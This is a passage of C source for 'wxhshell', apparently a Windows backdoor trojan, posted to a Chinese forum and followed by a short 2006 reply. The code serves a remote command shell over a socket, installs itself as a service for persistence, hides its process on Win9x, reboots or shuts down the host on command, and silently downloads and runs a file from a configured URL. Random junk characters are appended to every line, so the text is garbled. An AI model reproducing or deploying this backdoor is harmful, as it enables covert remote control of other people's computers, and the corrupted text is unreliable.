  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]l+Bg;F#V  
  } *]z.BZI:  
  else { riZFcVsB  
G6JyAC9j  
    switch(cmd[0]) { 52m^jT Sx  
  ?Li^XONz  
  // 帮助 a%tm[Re  
  case '?': { `NXyzT`:K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dpZ7eJ   
    break; vPmP<c)cb  
  } h@Ea$1'e,  
  // 安装 dVVeH\o  
  case 'i': { b-]E -$Uz  
    if(Install()) oHI~-{m3)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XZcsx  
    else u A C:&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h\'GL(?DBI  
    break; , 9|%  
    } :m5& i&  
  // 卸载 )oTEB#J  
  case 'r': { ZyCAl9{p  
    if(Uninstall()) z(.$>O&6H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }K~JM1(26  
    else dtA- 4Ndm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ><LIOFqsS  
    break; F Paj p  
    } >]:R{1h  
  // 显示 wxhshell 所在路径 gK(E0p"  
  case 'p': { oCy52Bm.!  
    char svExeFile[MAX_PATH]; (n"  )  
    strcpy(svExeFile,"\n\r"); kjNA~{  
      strcat(svExeFile,ExeFile); 6;n^/3*#  
        send(wsh,svExeFile,strlen(svExeFile),0); &@dMk4BH<  
    break; enG6T  
    } 7S] h:q%%  
  // 重启 e"r}I!.  
  case 'b': { |\QR9>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {!N4|  
    if(Boot(REBOOT)) JTx}{kVO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %M}zi'qQ?  
    else { Ub3,x~V  
    closesocket(wsh); 6\5U%~78  
    ExitThread(0); !ox&`  
    } T{uktIO/  
    break; +D h=D*  
    } e3S6+H),I  
  // 关机 ~B=\![  
  case 'd': { U">OdoZ,E+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]ei] ) JI  
    if(Boot(SHUTDOWN)) E32z(:7M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R +\y" .  
    else { qS2%U?S7  
    closesocket(wsh); 8vT:icl  
    ExitThread(0); \]9;c6(  
    } Z(<ul<?r  
    break; {xH \!!"T  
    } '@fk(~|  
  // 获取shell PN'8"8`{  
  case 's': { TuF:m"4  
    CmdShell(wsh); <=zGaU,  
    closesocket(wsh); O Z#?  
    ExitThread(0); K[ \z'9Q  
    break; r! M2H {  
  } c^bA]l^a  
  // 退出 +]>a`~   
  case 'x': { V`H#|8\i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }`MO}Pz  
    CloseIt(wsh); - a=yi d  
    break; R80R{Ze  
    } )F~_KD)7jJ  
  // 离开 .Gv~e!a8  
  case 'q': { gSGe]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pP r<8tm[  
    closesocket(wsh); ,S5#Kka~a  
    WSACleanup(); n;=A'g|Q  
    exit(1); :D,YR(])  
    break; O<E0L&4-&  
        } {c1qC zM4  
  } n (|>7  
  } C=]3NB>Jc  
[_0g^(`  
  // 提示信息 XgbGC*dQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MvW>ktkU  
} m3WV<Cbz  
  } G !~BA*  
y8 Nb 8m  
  return; *Q>:|F[vM  
} ~h@tezF  
Z`*cI   
// shell模块句柄 Ocb2XEF  
int CmdShell(SOCKET sock) BNy"YK$  
{ 7X|r';"?i  
STARTUPINFO si; {#%xq]r_  
ZeroMemory(&si,sizeof(si)); Cb6MD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S3_4i;K\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z])_E 6.  
PROCESS_INFORMATION ProcessInfo; n,F00Y R  
char cmdline[]="cmd"; w=`z!x![/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @( t:E`8  
  return 0; Dr 1F|[  
} Q*8-d9C  
s]N-n?'G"  
// 自身启动模式 j[fQs,efK  
int StartFromService(void) TH|hrL;:8  
{ e !yw"Cf*  
typedef struct [1*/lt|+p  
{ -1:Z^&e/  
  DWORD ExitStatus; .#@Dn(  
  DWORD PebBaseAddress; m\f_u*  
  DWORD AffinityMask; (*ng$z Z$  
  DWORD BasePriority; V\"5<>+O  
  ULONG UniqueProcessId; [!le 9aNg  
  ULONG InheritedFromUniqueProcessId; jE#8&P~  
}   PROCESS_BASIC_INFORMATION; CwvNxH#LVu  
/RM-+D:Y  
PROCNTQSIP NtQueryInformationProcess; W,~1KUTc  
s2v*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b8>9mKs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ddP,_.0  
h7$!wf!I  
  HANDLE             hProcess; `$H   
  PROCESS_BASIC_INFORMATION pbi; M@kZ(Rkv  
qJA.+q.e$e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CiuN26>  
  if(NULL == hInst ) return 0; }#8uXA  
? st#6=M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ak>NKK8P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1 =<|h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,*[LnR  
0f^.zt{T  
  if (!NtQueryInformationProcess) return 0; 1%"` =$q%  
_zh5KP[{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ku?_/-ko]  
  if(!hProcess) return 0; ]e.+u  
md"%S-a_dT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5@$4.BGcF  
kDq%Y[6Z  
  CloseHandle(hProcess); 3(+#^aw  
r%pFq1/'!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Ca\ (82  
if(hProcess==NULL) return 0; cEdJn@ ,  
'cN#rHPB6  
HMODULE hMod; }yw;L(3  
char procName[255]; Jt6J'MOq  
unsigned long cbNeeded; 0@lC5-=  
o2d~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); suFOc  
#@^w>D6W  
  CloseHandle(hProcess); gF6j6  
lM^!^6=v0l  
if(strstr(procName,"services")) return 1; // 以服务启动 h(Ed%  
5iddB $  
  return 0; // 注册表启动 2nkj;x{H$  
} EAw#$Aq=  
*t{c}Y&@  
// 主模块 Pki4wDCTW  
int StartWxhshell(LPSTR lpCmdLine) "GI&S%F  
{ Ok~{@\  
  SOCKET wsl; `?^w  
BOOL val=TRUE; rJZs 5g`  
  int port=0; ZT8J i?_n  
  struct sockaddr_in door; Lzx$"R-  
'S7@+kJ  
  if(wscfg.ws_autoins) Install(); Q5nyD/k4c  
3D{4vMm X  
port=atoi(lpCmdLine); ^:DhHqvK  
Pmlgh&Z  
if(port<=0) port=wscfg.ws_port; QX.6~*m1  
%K'*P56  
  WSADATA data; m}[~A@qD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N5s|a5  
/Jf`x>eiH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   eD{ @0&   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8='21@wrN  
  door.sin_family = AF_INET; <nTmZ-;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ef}E.Bl  
  door.sin_port = htons(port); 3 9{"T0  
~}-p5q2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uuYH6bw*d  
closesocket(wsl); #r.` V!=  
return 1; #oJbrh9J6  
} yF5  
*C@[5#CA2z  
  if(listen(wsl,2) == INVALID_SOCKET) { }&T<wm!  
closesocket(wsl); ?h)3S7  
return 1; )^f9[5ee  
} {L4>2rF  
  Wxhshell(wsl); t9n   
  WSACleanup(); Cxk$"_  
0*Km}?;0-  
return 0; `bZU&A(`Be  
E)Qh]:<2v  
} PR@4' r|a  
7s8<FyFsjd  
// 以NT服务方式启动 R #3Q$   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m>+,^`0  
{ R g0 XW6  
DWORD   status = 0; \W`}L  
  DWORD   specificError = 0xfffffff; J'ZFIT_>  
SXBQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T]#,R|)d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KtU GI.X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 40Qzo%eL  
  serviceStatus.dwWin32ExitCode     = 0; mE^tzyh  
  serviceStatus.dwServiceSpecificExitCode = 0; >!Ap/{2  
  serviceStatus.dwCheckPoint       = 0; nKjeH@&#  
  serviceStatus.dwWaitHint       = 0; \gp,Txueb  
AO}i@YJth  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _Hd1sx  
  if (hServiceStatusHandle==0) return; <a+eF}*2  
X}j'L&{F@  
status = GetLastError(); 0?F@iB~1F  
  if (status!=NO_ERROR) MeI2i  
{ &@W4^- 9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2&gVZz  
    serviceStatus.dwCheckPoint       = 0; !/4 V^H  
    serviceStatus.dwWaitHint       = 0; rX!+@>4_L  
    serviceStatus.dwWin32ExitCode     = status; #OD@q;  
    serviceStatus.dwServiceSpecificExitCode = specificError; ! [|vx!p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cCh0?g7nV  
    return; J[<pZ [  
  } WE5"A| =  
"6E1W,|{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; loeLj4""  
  serviceStatus.dwCheckPoint       = 0; _)#=>$k\  
  serviceStatus.dwWaitHint       = 0; O,=Q1*c,&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =tS[&6/  
} 9uw,-0*5  
h nsa)@  
// 处理NT服务事件,比如:启动、停止 7"n)/;la  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6)#- 5m  
{ rKzv8d  
switch(fdwControl) ayH%  qp  
{ !$p2z_n$@.  
case SERVICE_CONTROL_STOP: ti{H(;;@  
  serviceStatus.dwWin32ExitCode = 0; ?)?IZ Qj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ej+]^t$\  
  serviceStatus.dwCheckPoint   = 0; kJurUDo  
  serviceStatus.dwWaitHint     = 0; { OxAY_  
  { jMf 7J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'HQ7 |Je  
  } hi {2h04  
  return; _H4$$  
case SERVICE_CONTROL_PAUSE: 9{O2B5u1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KH2F#[ !Lw  
  break; Y8J ;+h9  
case SERVICE_CONTROL_CONTINUE: HzD>-f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QN5yBa!Wz  
  break; Q{qj  
case SERVICE_CONTROL_INTERROGATE: iHE0N6%q  
  break; -7-Fd_F8  
}; BrNG%%n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Yx6#m}[M  
} FXOT+9bg  
io t.E%G  
// 标准应用程序主函数 RwAbIXG{0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yg=E@F   
{ Z:_m}Ya|  
jiA5oX^g  
// 获取操作系统版本 4Vu'r?  
OsIsNt=GetOsVer(); 3 x"@**(Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bK03 S Vx  
kyW6S+#-  
  // 从命令行安装 +A8=R%&b)[  
  if(strpbrk(lpCmdLine,"iI")) Install(); Kk!6B  
>a&?AP #  
  // 下载执行文件 Y )u_nn'[  
if(wscfg.ws_downexe) { ?%\mQmjas  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \LO_Nu9  
  WinExec(wscfg.ws_filenam,SW_HIDE); '2|1%NSW9  
} QL)>/%yU  
1DEO3p  
if(!OsIsNt) { v87$NQvwQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qq'i*Mh  
HideProc(); Lnh':7FQJx  
StartWxhshell(lpCmdLine); n0rerI[R  
} xa87xX=a  
else o &BPG@n  
  if(StartFromService()) T&9`?QD  
  // 以服务方式启动 4R& *&GZ#  
  StartServiceCtrlDispatcher(DispatchTable); l `fW{lh  
else 8A2if 9E3  
  // 普通方式启动 w1wXTt  
  StartWxhshell(lpCmdLine); k~0#'I9  
=4frP*H?  
return 0; PHQ{-b?4t  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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